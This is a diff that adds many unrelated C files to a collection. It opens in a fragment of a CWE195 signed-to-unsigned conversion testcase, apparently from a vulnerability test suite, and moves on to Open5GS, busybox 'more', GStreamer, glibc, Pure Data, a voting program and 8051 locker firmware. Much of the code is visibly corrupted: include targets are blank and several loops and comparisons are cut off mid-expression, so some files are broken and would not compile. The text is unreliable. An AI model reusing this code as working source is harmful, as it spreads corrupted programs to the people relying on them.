by reversing the blocks in the if statement */ +static void goodG2B2() +{ + int data; + /* Initialize data */ + data = -1; + if(globalReturnsTrue()) + { + /* FIX: Use a positive integer less than &InitialDataSize&*/ + data = 100-1; + } + /* Assume we want to allocate a relatively small buffer */ + if (data < 100) + { + /* POTENTIAL FLAW: malloc() takes a size_t (unsigned int) as input and therefore if it is negative, + * the conversion will cause malloc() to allocate a very large amount of data or fail */ + char * dataBuffer = (char *)malloc(data); + if (dataBuffer == NULL) {exit(-1);} + /* Do something with dataBuffer */ + memset(dataBuffer, 'A', data-1); + dataBuffer[data-1] = '\0'; + printLine(dataBuffer); + free(dataBuffer); + } +} + +void CWE195_Signed_to_Unsigned_Conversion_Error__fgets_malloc_11_good() +{ + goodG2B1(); + goodG2B2(); +} + +#endif /* OMITGOOD */ + +/* Below is the main(). It is only used when building this testcase on + * its own for testing or for building a binary to use in testing binary + * analysis tools. It is not used when compiling all the testcases as one + * application, which is how source code analysis tools are tested. + */ + +#ifdef INCLUDEMAIN + +int main(int argc, char * argv[]) +{ + /* seed randomness */ + srand( (unsigned)time(NULL) ); +#ifndef OMITGOOD + printLine("Calling good()..."); + CWE195_Signed_to_Unsigned_Conversion_Error__fgets_malloc_11_good(); + printLine("Finished good()"); +#endif /* OMITGOOD */ +#ifndef OMITBAD + printLine("Calling bad()..."); + CWE195_Signed_to_Unsigned_Conversion_Error__fgets_malloc_11_bad(); + printLine("Finished bad()"); +#endif /* OMITBAD */ + return 0; +} + +#endif diff --git a/pool/shard011/C/0141884_nudm-handler.c b/pool/shard011/C/0141884_nudm-handler.c new file mode 100644 index 0000000000000000000000000000000000000000..0591bc68e34602cd6429179c96e747bb256c01c9 --- /dev/null +++ b/pool/shard011/C/0141884_nudm-handler.c @@ -0,0 +1,92 @@ +/* + * Copyright (C) 2019 by Sukchan Lee + * + * This file is part of Open5GS. + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU Affero General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include "nudm-handler.h" + +#include "sbi-path.h" +#include "nas-path.h" + +int amf_nudm_sdm_handle_provisioned( + amf_ue_t *amf_ue, ogs_sbi_message_t *recvmsg) +{ + ogs_assert(amf_ue); + ogs_assert(recvmsg); + + SWITCH(recvmsg->h.resource.component[1]) + CASE(OGS_SBI_RESOURCE_NAME_AM_DATA) + if (recvmsg->AccessAndMobilitySubscriptionData) { + OpenAPI_ambr_rm_t *subscribed_ue_ambr = + recvmsg->AccessAndMobilitySubscriptionData-> + subscribed_ue_ambr; + OpenAPI_list_t *gpsiList = + recvmsg->AccessAndMobilitySubscriptionData->gpsis; + OpenAPI_lnode_t *node = NULL; + + if (subscribed_ue_ambr) { + amf_ue->subscribed_ue_ambr.uplink = + ogs_sbi_bitrate_from_string( + subscribed_ue_ambr->uplink); + amf_ue->subscribed_ue_ambr.downlink = + ogs_sbi_bitrate_from_string( + subscribed_ue_ambr->downlink); + } + + if (gpsiList) { + amf_ue->num_of_msisdn = 0; + OpenAPI_list_for_each(gpsiList, node) { + if (node->data) { + char *gpsi = NULL; + + gpsi = ogs_id_get_type(node->data); + ogs_assert(gpsi); + + if (strncmp(gpsi, OGS_ID_GPSI_TYPE_MSISDN, + strlen(OGS_ID_GPSI_TYPE_MSISDN)) != 0) { + ogs_error("Unknown GPSI Type [%s]", gpsi); + + } else { + amf_ue->msisdn[amf_ue->num_of_msisdn] = + ogs_id_get_value(node->data); + ogs_assert(amf_ue->msisdn[amf_ue->num_of_msisdn]); + + amf_ue->num_of_msisdn++; + } + + ogs_free(gpsi); + } + } + } + } + + amf_ue_sbi_discover_and_send(OpenAPI_nf_type_UDM, amf_ue, + (char *)OGS_SBI_RESOURCE_NAME_SMF_SELECT_DATA, + amf_nudm_sdm_build_get); + break; + + CASE(OGS_SBI_RESOURCE_NAME_SMF_SELECT_DATA) + amf_ue_sbi_discover_and_send(OpenAPI_nf_type_UDM, amf_ue, + (char *)OGS_SBI_RESOURCE_NAME_UE_CONTEXT_IN_SMF_DATA, + amf_nudm_sdm_build_get); + break; + + DEFAULT + END + + return OGS_OK; +} diff --git a/pool/shard011/C/0141885_more.c b/pool/shard011/C/0141885_more.c new file mode 100644 index 0000000000000000000000000000000000000000..934b30f8a8384e178ff00ce3c7cc8c70d68b6d27 --- /dev/null +++ b/pool/shard011/C/0141885_more.c @@ -0,0 +1,235 @@ +/* vi: set sw=4 ts=4: */ +/* + * Mini more implementation for busybox + * + * Copyright (C) 1995, 1996 by Bruce Perens . + * Copyright (C) 1999-2004 by Erik Andersen + * + * Latest version blended together by Erik Andersen , + * based on the original more implementation by Bruce, and code from the + * Debian boot-floppies team. + * + * Termios corrects by Vladimir Oleynik + * + * Licensed under GPLv2 or later, see file LICENSE in this source tree. + */ +//config:config MORE +//config: bool "more" +//config: default y +//config: help +//config: more is a simple utility which allows you to read text one screen +//config: sized page at a time. If you want to read text that is larger than +//config: the screen, and you are using anything faster than a 300 baud modem, +//config: you will probably find this utility very helpful. If you don't have +//config: any need to reading text files, you can leave this disabled. + +//applet:IF_MORE(APPLET(more, BB_DIR_BIN, BB_SUID_DROP)) + +//kbuild:lib-$(CONFIG_MORE) += more.o + +//usage:#define more_trivial_usage +//usage: "[FILE]..." +//usage:#define more_full_usage "\n\n" +//usage: "View FILE (or stdin) one screenful at a time" +//usage: +//usage:#define more_example_usage +//usage: "$ dmesg | more\n" + +#include "libbb.h" +#include "common_bufsiz.h" + +/* Support for FEATURE_USE_TERMIOS */ + +struct globals { + int cin_fileno; + struct termios initial_settings; + struct termios new_settings; +} FIX_ALIASING; +#define G (*(struct globals*)bb_common_bufsiz1) +#define initial_settings (G.initial_settings) +#define new_settings (G.new_settings ) +#define cin_fileno (G.cin_fileno ) +#define INIT_G() do { setup_common_bufsiz(); } while (0) + +#define setTermSettings(fd, argp) \ +do { \ + if (ENABLE_FEATURE_USE_TERMIOS) \ + tcsetattr(fd, TCSANOW, argp); \ +} while (0) +#define getTermSettings(fd, argp) tcgetattr(fd, argp) + +static void gotsig(int sig UNUSED_PARAM) +{ + /* bb_putchar_stderr doesn't use stdio buffering, + * therefore it is safe in signal handler */ + bb_putchar_stderr('\n'); + setTermSettings(cin_fileno, &initial_settings); + _exit(EXIT_FAILURE); +} + +#define CONVERTED_TAB_SIZE 8 + +int more_main(int argc, char **argv) MAIN_EXTERNALLY_VISIBLE; +int more_main(int argc UNUSED_PARAM, char **argv) +{ + int c = c; /* for compiler */ + int lines; + int input = 0; + int spaces = 0; + int please_display_more_prompt; + struct stat st; + FILE *file; + FILE *cin; + int len; + unsigned terminal_width; + unsigned terminal_height; + + INIT_G(); + + /* Parse options */ + /* Accepted but ignored: */ + /* -d Display help instead of ringing bell is pressed */ + /* -f Count logical lines (IOW: long lines are not folded) */ + /* -l Do not pause after any line containing a ^L (form feed) */ + /* -s Squeeze blank lines into one */ + /* -u Suppress underlining */ + getopt32(argv, "dflsu"); + argv += optind; + + /* Another popular pager, most, detects when stdout + * is not a tty and turns into cat. This makes sense. */ + if (!isatty(STDOUT_FILENO)) + return bb_cat(argv); + cin = fopen_for_read(CURRENT_TTY); + if (!cin) + return bb_cat(argv); + + if (ENABLE_FEATURE_USE_TERMIOS) { + cin_fileno = fileno(cin); + getTermSettings(cin_fileno, &initial_settings); + new_settings = initial_settings; + new_settings.c_lflag &= ~(ICANON | ECHO); + new_settings.c_cc[VMIN] = 1; + new_settings.c_cc[VTIME] = 0; + setTermSettings(cin_fileno, &new_settings); + bb_signals(0 + + (1 << SIGINT) + + (1 << SIGQUIT) + + (1 << SIGTERM) + , gotsig); + } + + do { + file = stdin; + if (*argv) { + file = fopen_or_warn(*argv, "r"); + if (!file) + continue; + } + st.st_size = 0; + fstat(fileno(file), &st); + + please_display_more_prompt = 0; + /* never returns w, h <= 1 */ + get_terminal_width_height(fileno(cin), &terminal_width, &terminal_height); + terminal_height -= 1; + + len = 0; + lines = 0; + while (spaces || (c = getc(file)) != EOF) { + int wrap; + if (spaces) + spaces--; + loop_top: + if (input != 'r' && please_display_more_prompt) { + len = printf("--More-- "); + if (st.st_size != 0) { + uoff_t d = (uoff_t)st.st_size / 100; + if (d == 0) + d = 1; + len += printf("(%u%% of %"OFF_FMT"u bytes)", + (int) ((uoff_t)ftello(file) / d), + st.st_size); + } + fflush_all(); + + /* + * We've just displayed the "--More--" prompt, so now we need + * to get input from the user. + */ + for (;;) { + input = getc(cin); + input = tolower(input); + if (!ENABLE_FEATURE_USE_TERMIOS) + printf("\033[A"); /* cursor up */ + /* Erase the last message */ + printf("\r%*s\r", len, ""); + + /* Due to various multibyte escape + * sequences, it's not ok to accept + * any input as a command to scroll + * the screen. We only allow known + * commands, else we show help msg. */ + if (input == ' ' || input == '\n' || input == 'q' || input == 'r') + break; + len = printf("(Enter:next line Space:next page Q:quit R:show the rest)"); + } + len = 0; + lines = 0; + please_display_more_prompt = 0; + + if (input == 'q') + goto end; + + /* The user may have resized the terminal. + * Re-read the dimensions. */ + if (ENABLE_FEATURE_USE_TERMIOS) { + get_terminal_width_height(cin_fileno, &terminal_width, &terminal_height); + terminal_height -= 1; + } + } + + /* Crudely convert tabs into spaces, which are + * a bajillion times easier to deal with. */ + if (c == '\t') { + spaces = ((unsigned)~len) % CONVERTED_TAB_SIZE; + c = ' '; + } + + /* + * There are two input streams to worry about here: + * + * c : the character we are reading from the file being "mored" + * input: a character received from the keyboard + * + * If we hit a newline in the _file_ stream, we want to test and + * see if any characters have been hit in the _input_ stream. This + * allows the user to quit while in the middle of a file. + */ + wrap = (++len > terminal_width); + if (c == '\n' || wrap) { + /* Then outputting this character + * will move us to a new line. */ + if (++lines >= terminal_height || input == '\n') + please_display_more_prompt = 1; + len = 0; + } + if (c != '\n' && wrap) { + /* Then outputting this will also put a character on + * the beginning of that new line. Thus we first want to + * display the prompt (if any), so we skip the putchar() + * and go back to the top of the loop, without reading + * a new character. */ + goto loop_top; + } + /* My small mind cannot fathom backspaces and UTF-8 */ + putchar(c); + die_if_ferror_stdout(); /* if tty was destroyed (closed xterm, etc) */ + } + fclose(file); + fflush_all(); + } while (*argv && *++argv); + end: + setTermSettings(cin_fileno, &initial_settings); + return 0; +} diff --git a/pool/shard011/C/0141886_gstvorbisdeclib.c b/pool/shard011/C/0141886_gstvorbisdeclib.c new file mode 100644 index 0000000000000000000000000000000000000000..9f3331c38d50b690bc9d9b07eaf43c3dc924b975 --- /dev/null +++ b/pool/shard011/C/0141886_gstvorbisdeclib.c @@ -0,0 +1,122 @@ +/* GStreamer + * Copyright (C) 2010 Mark Nauwelaerts + * Copyright (C) 2010 Nokia Corporation. All rights reserved. + * Contact: Stefan Kost + * + * Tremor modifications <2006>: + * Chris Lord, OpenedHand Ltd. , http://www.o-hand.com/ + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public + * License along with this library; if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + */ + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include "gstvorbisdeclib.h" + +#ifndef TREMOR +/* These samples can be outside of the float -1.0 -- 1.0 range, this + * is allowed, downstream elements are supposed to clip */ +void +copy_samples (vorbis_sample_t * out, vorbis_sample_t ** in, guint samples, + gint channels, gint width) +{ + gint i, j; + + g_assert (width == 4); + +#ifdef GST_VORBIS_DEC_SEQUENTIAL + for (i = 0; i < channels; i++) { + memcpy (out, in[i], samples * sizeof (float)); + out += samples; + } +#else + for (j = 0; j < samples; j++) { + for (i = 0; i < channels; i++) { + *out++ = in[i][j]; + } + } +#endif +} + +#else + +/* Taken from Tremor, misc.h */ +#ifdef _ARM_ASSEM_ +static inline ogg_int32_t +CLIP_TO_15 (ogg_int32_t x) +{ + int tmp; + asm volatile ("subs %1, %0, #32768\n\t" + "movpl %0, #0x7f00\n\t" + "orrpl %0, %0, #0xff\n" + "adds %1, %0, #32768\n\t" + "movmi %0, #0x8000":"+r" (x), "=r" (tmp) + ::"cc"); + + return (x); +} +#else +static inline ogg_int32_t +CLIP_TO_15 (ogg_int32_t x) +{ + int ret = x; + + ret -= ((x <= 32767) - 1) & (x - 32767); + ret -= ((x >= -32768) - 1) & (x + 32768); + return (ret); +} +#endif + +static void +copy_samples_32 (gint32 * out, ogg_int32_t ** in, guint samples, gint channels) +{ + gint i, j; + + for (j = 0; j < samples; j++) { + for (i = 0; i < channels; i++) { + *out++ = CLIP_TO_15 (in[i][j] >> 9); + } + } +} + +static void +copy_samples_16 (gint16 * out, ogg_int32_t ** in, guint samples, gint channels) +{ + gint i, j; + + for (j = 0; j < samples; j++) { + for (i = 0; i < channels; i++) { + *out++ = CLIP_TO_15 (in[i][j] >> 9); + } + } +} + +void +copy_samples (vorbis_sample_t * out, vorbis_sample_t ** in, guint samples, + gint channels, gint width) +{ + if (width == 4) { + copy_samples_32 ((gint32 *) out, in, samples, channels); + } else if (width == 2) { + copy_samples_16 ((gint16 *) out, in, samples, channels); + } else { + g_assert_not_reached (); + } +} + +#endif diff --git a/pool/shard011/C/0141887_sem.c b/pool/shard011/C/0141887_sem.c new file mode 100644 index 0000000000000000000000000000000000000000..99ccd892e759df75b375a33206b702f28016893f --- /dev/null +++ b/pool/shard011/C/0141887_sem.c @@ -0,0 +1,45 @@ +#include +#include +#include "../d2mce.h" +int main(int argc, char *argv[]){ + int i,j; + double time; + d2mce_barrier_t b1; + d2mce_sem_t s1; + char input; + int times = atoi(argv[1]); + int nodes = atoi(argv[2]); + int node_id; + + d2mce_init(); + node_id = d2mce_join("sem","eps", 0); + if(node_id == (nodes-1)) + printf("my id:%d i am post\n", node_id); + else + printf("my id:%d\n", node_id); + d2mce_barrier_init(&b1, "b1"); + d2mce_sem_init(&s1, "s1", 0); + d2mce_barrier(&b1, nodes); + time = -d2mce_time(); + for(i=0;i. */ + +#include +#include +#include + +int __posix_fadvise64_l64 (int fd, off64_t offset, off64_t len, int advise); +int __posix_fadvise64_l32 (int fd, off64_t offset, size_t len, int advise); + +/* Advice the system about the expected behaviour of the application with + respect to the file associated with FD. */ + +struct fadvise64_64_layout +{ + int fd; + off64_t offset; + off64_t len; + int advise; +}; + +int +__posix_fadvise64_l64 (int fd, off64_t offset, off64_t len, int advise) +{ + struct fadvise64_64_layout parameters; + INTERNAL_SYSCALL_DECL (err); + + parameters.fd = fd; + parameters.offset = offset; + parameters.len = len; + parameters.advise = advise; + int ret = INTERNAL_SYSCALL (fadvise64_64, err, 1, ¶meters); + if (!INTERNAL_SYSCALL_ERROR_P (ret, err)) + return 0; + return INTERNAL_SYSCALL_ERRNO (ret, err); +} + +#include + +#if SHLIB_COMPAT(libc, GLIBC_2_2, GLIBC_2_3_3) + +int +attribute_compat_text_section +__posix_fadvise64_l32 (int fd, off64_t offset, size_t len, int advise) +{ + return __posix_fadvise64_l64 (fd, offset, len, advise); +} + +versioned_symbol (libc, __posix_fadvise64_l64, posix_fadvise64, GLIBC_2_3_3); +compat_symbol (libc, __posix_fadvise64_l32, posix_fadvise64, GLIBC_2_2); +#else +strong_alias (__posix_fadvise64_l64, posix_fadvise64); +#endif diff --git a/pool/shard011/C/0141889_memory.c b/pool/shard011/C/0141889_memory.c new file mode 100644 index 0000000000000000000000000000000000000000..9baee6bff49863b25391a425a127403c530c202a --- /dev/null +++ b/pool/shard011/C/0141889_memory.c @@ -0,0 +1,116 @@ +#include "./memory.h" + + +CRUX__ResultAddr CRUX__alloc_into (void *const context, const Size size) { + CRUX__Trace trace = CRUX__trace_create(); + const void *address = talloc_zero_size(context, size); + if (is_nil(address, void)) { + CRUX__Fault fault = { + .error = CRUX__ERROR_MEMORY, + .filepath = CRUX__fault_filepath(), + .line = CRUX__fault_line(-5)}; + const char info_fmt[] = "There is no %"SIZE_FMT" bytes available."; + CRUX__fault_infoprintf(fault, info_fmt, size); + CRUX__trace_push(&trace, fault); + } + CRUX__ResultAddr result = {.trace = trace, .value = address}; + return result; +} + + +CRUX__ResultAddr CRUX__alloc (const IU64 size) { + void *const context = nil(void); + CRUX__ResultAddr result = CRUX__alloc_into(context, size); + return result; +} + + +CRUX__ResultAddr CRUX__alloc_context (void) { + void *const context = nil(void); + CRUX__ResultAddr result = CRUX__alloc_context_into(context); + return result; +} + + +CRUX__ResultAddr CRUX__alloc_context_into (void *const context) { + CRUX__Trace trace = CRUX__trace_create(); + void *const address = talloc_new(context); + if (is_nil(address, void)) { + CRUX__Fault fault = { + .error = CRUX__ERROR_MEMORY, + .info = "There is no space available for new context", + .filepath = CRUX__fault_filepath(), + .line = CRUX__fault_line(-5)}; + CRUX__trace_push(&trace, fault); + } + CRUX__ResultAddr result = {.trace = trace, .value = address}; + return result; +} + + +CRUX__ResultSize CRUX__alloc_get_size (void *const context) { + CRUX__Trace trace = CRUX__trace_create(); + const Size size = talloc_get_size(context); + CRUX__ResultSize result = {.trace = trace, .value = size}; + return result; +} + + +CRUX__ResultSize CRUX__alloc_get_total_size (void *const context) { + CRUX__Trace trace = CRUX__trace_create(); + const Size size = talloc_total_size(context); + CRUX__ResultSize result = {.trace = trace, .value = size}; + return result; +} + + +CRUX__ResultAddr CRUX__alloc_move (void *const new_context, void **address) { + CRUX__Trace trace = CRUX__trace_create(); + void *const new_address = talloc_move(new_context, address); + CRUX__ResultAddr result = {.trace = trace, .value = new_address}; + return result; +} + + +CRUX__ResultVoid CRUX__alloc_free (void **context) { + CRUX__Trace trace = CRUX__trace_create(); + if (is_nil(context, void)) { + const CRUX__Fault fault = { + .error = CRUX__ERROR_VALUE, + .info = "Invalid nil argument value.", + .filepath = CRUX__fault_filepath(), + .line = CRUX__fault_line(-5)}; + CRUX__trace_push(&trace, fault); + } else if (is_nil(*context, void)) { + const CRUX__Fault fault = { + .error = CRUX__ERROR_VALUE, + .info = "It's not possible to free a nil context.", + .filepath = CRUX__fault_filepath(), + .line = CRUX__fault_line(-5)}; + CRUX__trace_push(&trace, fault); + } else { + const IS32 success = talloc_free(*context); + if (CRUX__is_equal(success, as_is32(-1))) { + const CRUX__Fault fault = { + .error = CRUX__ERROR_MEMORY, + .info = "This context is not valid or doesn't exists.", + .filepath = CRUX__fault_filepath(), + .line = CRUX__fault_line(-6)}; + CRUX__trace_push(&trace, fault); + } else { + *context = nil(void); + } + } + CRUX__ResultVoid result = {.trace = trace}; + return result; +} + + +void CRUX__alloc_quiet_free (void **context) { + if (!is_nil(context, void)) { + if (!is_nil(*context, void)) { + talloc_free(*context); + *context = nil(void); + } + } +} diff --git a/pool/shard011/C/0141890_tabminmax.c b/pool/shard011/C/0141890_tabminmax.c new file mode 100644 index 0000000000000000000000000000000000000000..e8773aa225717ec9adfb55e98bae369dcf3d35b3 --- /dev/null +++ b/pool/shard011/C/0141890_tabminmax.c @@ -0,0 +1,144 @@ +/* + * tabminmax: get minimum and maximum of a table + * + * (c) 1999-2011 IOhannes m zmölnig, forum::für::umläute, institute of electronic music and acoustics (iem) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program. If not, see . + */ + +#include "zexy.h" + + +/* =================== tabminmax ====================== */ + +static t_class *tabminmax_class=NULL; + +typedef struct _tabminmax { + t_object x_obj; + t_outlet*min_out, *max_out; + t_symbol *x_arrayname; + t_int startindex, stopindex; +} t_tabminmax; + +static void tabminmax_bang(t_tabminmax *x) +{ + t_garray *A; + int npoints; + t_word *vec; + + if (!(A = (t_garray *)pd_findbyclass(x->x_arrayname, garray_class))) { + pd_error(x, "%s: no such array", x->x_arrayname->s_name); + } else if (!garray_getfloatwords(A, &npoints, &vec)) { + pd_error(x, "%s: bad template for tabminmax", x->x_arrayname->s_name); + } else { + int n; + t_atom atombuf[2]; + t_float min, max; + int mindex, maxdex; + + int start=x->startindex; + int stop =x->stopindex; + if(start<0||start>stop) { + start=0; + } + if(stopnpoints) { + stop=npoints; + } + npoints=stop-start; + + min=vec[start].w_float; + max=min; + + mindex=start; + maxdex=start; + + for (n = 1; n < npoints; n++) { + t_float val=vec[start+n].w_float; + if(valmax) { + maxdex=start+n; + max=val; + } + } + + SETFLOAT(atombuf, max); + SETFLOAT(atombuf+1, maxdex); + outlet_list(x->max_out, gensym("list"), 2, atombuf); + + SETFLOAT(atombuf, min); + SETFLOAT(atombuf+1, mindex); + outlet_list(x->min_out, gensym("list"), 2, atombuf); + } +} + +static void tabminmax_list(t_tabminmax *x, t_symbol* UNUSED(s),int argc, + t_atom*argv) +{ + int a,b; + switch(argc) { + case 2: + a=atom_getint(argv); + b=atom_getint(argv+1); + x->startindex=(astopindex =(a>b)?a:b; + tabminmax_bang(x); + break; + default: + pd_error(x, "tabminmax: list must be 2 floats (is %d atoms)", argc); + } +} + +static void tabminmax_set(t_tabminmax *x, t_symbol *s) +{ + x->x_arrayname = s; +} + +static void *tabminmax_new(t_symbol *s) +{ + t_tabminmax *x = (t_tabminmax *)pd_new(tabminmax_class); + x->x_arrayname = s; + x->startindex=0; + x->stopindex=-1; + x->min_out=outlet_new(&x->x_obj, gensym("list")); + x->max_out=outlet_new(&x->x_obj, gensym("list")); + + return (x); +} + +static void tabminmax_helper(void) +{ + post("\n"HEARTSYMBOL + " tabminmax - object : dumps a table as a package of floats"); + post("'set '\t: read out another table\n" + "'bang'\t\t: get min and max of the table\n" + "outlet\t\t: table-data as package of floats"); + post("creation\t: \"tabminmax
\""); + +} + +ZEXY_SETUP void tabminmax_setup(void) +{ + tabminmax_class = zexy_new("tabminmax", + tabminmax_new, 0, t_tabminmax, 0, "S"); + class_addbang(tabminmax_class, (t_method)tabminmax_bang); + class_addlist(tabminmax_class, (t_method)tabminmax_list); + + zexy_addmethod(tabminmax_class, (t_method)tabminmax_set, "set", "s"); + + zexy_addmethod(tabminmax_class, (t_method)tabminmax_helper, "help", ""); + zexy_register("tabminmax"); +} diff --git a/pool/shard011/C/0141891_australian.c b/pool/shard011/C/0141891_australian.c new file mode 100644 index 0000000000000000000000000000000000000000..eaf9efffb740d7c8c1bfe76fbc7327c8e90713e4 --- /dev/null +++ b/pool/shard011/C/0141891_australian.c @@ -0,0 +1,105 @@ +#include +#include +#include + +/* Global candidates array */ +typedef struct { + char name[80]; + int votes[20]; /* Each element from 0 to n represent preference of votes 0 = first */ +} candidate; + +candidate candidates[20]; + +void printCands(int n) { + for (int i = 0; i < n; i++) printf("[%s]", candidates[i].name); + printf("\n"); +} + +void winners(int n, int voters) { + int place = 0; + while (place <= n) { + int max = -1; + int min = 1001; + int ties = 0; + int totalVotes = 0; + + for (int i = 0; i < n; i++) { + int currVotes = candidates[i].votes[place]; + totalVotes += currVotes; + if (currVotes > max) max = currVotes; + if (currVotes < min) min = currVotes; + } + + for (int i = 0; i < n; i++) { + candidate curr = candidates[i]; + if (((float) curr.votes[place] / (float) totalVotes) > (float) .5) { // Has to be more than fifty percent of the vote + printf("%s\n",curr.name); + return; + } else if (curr.votes[place] == min) { ties++; } + } + + candidate tmp[n - ties]; + int tmpIndex = 0; + for (int i = 0; i < n; i++) { /* Eliminate the lowest votes */ + if (candidates[i].votes[place] > min) { + tmp[tmpIndex] = candidates[i]; + tmpIndex++; + } + } + printCands(n); + memset(candidates, 0, sizeof candidates); + memcpy(candidates, tmp, sizeof tmp); + printCands(n); + place++; + n -= ties; + } + for (int i = 0; i < n; i++) printf("%s\n", candidates[i].name); + return; +} + +int main(int argc, char const *argv[]) { + int cases; + char line[80]; + fgets(line, sizeof line, stdin); + sscanf(line, "%d", &cases); + fgets(line, sizeof line, stdin); /* Empty Line */ + for (int i = 0; i < cases; i++) { + int n; /* Number of candidates */ + fgets(line, sizeof line, stdin); + sscanf(line, "%d", &n); + char first[40]; + char last[40]; + for (int j = 0 ; j < n; j++) { + candidate curr; + fgets(line, sizeof line, stdin); + sscanf(line, "%s %s", first, last); + strcpy(curr.name, first); + strcat(curr.name, " "); + strcat(curr.name, last); + candidates[j] = curr; + } + + /* Now we have an array of the candidates */ + int vote; + int totalVoters = 0; + while (fgets(line, sizeof line, stdin) != NULL && (line[0] != '\n')) { /* Until we hit an empty line */ + totalVoters++; + int counter = 0; + vote = 0; + char* token = strtok(line, " "); + while (token != NULL) { + if (token) { + vote = atoi(token); + candidate* votedFor = &candidates[vote - 1]; //candidate votedFor = candidates[vote - 1] + votedFor->votes[counter] += 1; /* increment votes for candidate at the received preference */ + counter++; + } + token = strtok(NULL, " "); + } + memset(line, 0, sizeof line); + } + + winners(n, totalVoters); + } + return 0; +} diff --git a/pool/shard011/C/0141892_business.c b/pool/shard011/C/0141892_business.c new file mode 100644 index 0000000000000000000000000000000000000000..d2227244a013d4505fcd58c34ed8c843d088df9a --- /dev/null +++ b/pool/shard011/C/0141892_business.c @@ -0,0 +1,253 @@ +#include "user_sys.h" +#include "uart.h" +#include "business.h" +#include +#include +#include +#include "phy.h" + +#define LOCKER_TIMER 7 + +extern app_Event getApp; + +extern uint8 uartData[15]; +extern uint8 uartIndex; + +#if 0 +uint8 code table[]={0xc0,0xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90}; +sbit P2_0 = P2^0; +sbit P2_1 = P2^1; +sbit P2_2 = P2^2; +sbit P2_3 = P2^3; +#endif + +//uint8 code table[]={0x3f,0x06,0x5b,0x4f,0x66,0x6d,0x7d,0x07,0x7f,0x6f};//²»´øÐ¡ÊýµãµÄ¹²ÒõÊýÂë¹Ü¶ÎÖµ +//uint8 code table[]={0xc0,0xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90}; + +uint8 code table[]={0xc0,0xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90}; +sbit P2_0 = P2^0; +sbit P2_1 = P2^1; +sbit P2_2 = P2^2; +sbit P2_3 = P2^3; + + +sbit locker1 = P1^0; +sbit locker2 = P1^1; +sbit locker3 = P1^2; + + +SEGMENT_DISPLAYER segmentDisplaysIndex = SEGMENT_DISPLAYER_1_ON; + +sbit lockerPin=P1^7; //¶¨Òåλѡ + +int timer; + +typedef enum{ + LOCK, + UNLOCK +}LOCKER_STATUS; + +typedef enum{ + LOCKER1_STATUS_REPORT, + LOCKER2_STATUS_REPORT, + LOCKER3_STATUS_REPORT +}LOCKER_STATUS_STEP; + +LOCKER_STATUS_STEP lockerStatusStep; + + + +LOCKER_STATUS lockerStatus = LOCK; + +xdata LOCKER_STATUS lockerStatus1 = LOCK; +xdata LOCKER_STATUS lockerStatus2 = LOCK; +xdata LOCKER_STATUS lockerStatus3 = LOCK; + + + + + +void userBusinessEventHandle() +{ + uint8 i; + for(i=0;i=getApp.eventSetCount_t[i])) + { + getApp.eventEDable_t[i]=DISABLE; + } + } +} + +void dealLocker(uint8 *cmd) +{ + if(uartIndex < 2 ) return; + if(uartIndex == 0) return; + + switch(cmd[0]) + { + case '1': + { + locker1 = 0; + //uartSendStr("open locker1 5s\r\n"); + uartSendStr("L1B\r\n"); + lockerStatus1 = UNLOCK; + setEvent(EVENT_LOCKER1_UNLOCKED, ENABLE,3000,1); + } + break; + case '2': + { + locker2 = 0; + uartSendStr("L2B\r\n"); + lockerStatus2 = UNLOCK; + //uartSendStr("open locker2 5s\r\n"); + setEvent(EVENT_LOCKER2_UNLOCKED, ENABLE,3000,1); + } + break; + case '3': + { + locker3 = 0; + uartSendStr("L3B\r\n"); + lockerStatus3 = UNLOCK; + //uartSendStr("open locker3 5s\r\n"); + setEvent(EVENT_LOCKER3_UNLOCKED, ENABLE,3000,1); + } + break; + } + +#if 0 + + if((cmd[0] == 'U')&&(cmd[1] == 'N')&&cmd[2] == 'L'&&cmd[3] == 'O'&&cmd[4] == 'C'&&cmd[5] == 'K'){ + lockerPin = 1; + timer = LOCKER_TIMER; + uartSendStr("open locker 5s\r\n"); + lockerStatus = UNLOCK; + reportLockerStatus(); + //setEvent(EVENT_LOCK_LOCKER, ENABLE,500,1); + setEvent(EVENT_LOCKER_DAOJISHI, ENABLE,1,1); + } + if((cmd[0] == 'T')&&(cmd[1] == 'O')&&cmd[2] == 'L'&&cmd[3] == 'O'&&cmd[4] == 'C'&&cmd[5] == 'K'){ + + timer = 0; + lockerStatus = LOCK; + reportLockerStatus(); + setEvent(EVENT_LOCKER_LOCKED, ENABLE,1,1); + setEvent(EVENT_LOCKER_DAOJISHI, DISABLE,0,0); + } +#endif +} +void reportLockerStatus() +{ + switch(lockerStatusStep) + { + case LOCKER1_STATUS_REPORT: + { + lockerStatusStep = LOCKER2_STATUS_REPORT; + if(lockerStatus1 == LOCK) + uartSendStr("L1A\r\n"); + else + uartSendStr("L1B\r\n"); + } + break; + case LOCKER2_STATUS_REPORT: + { + lockerStatusStep = LOCKER3_STATUS_REPORT; + if(lockerStatus2 == LOCK) + uartSendStr("L2A\r\n"); + else + uartSendStr("L2B\r\n"); + } + break; + case LOCKER3_STATUS_REPORT: + { + lockerStatusStep = LOCKER1_STATUS_REPORT; + 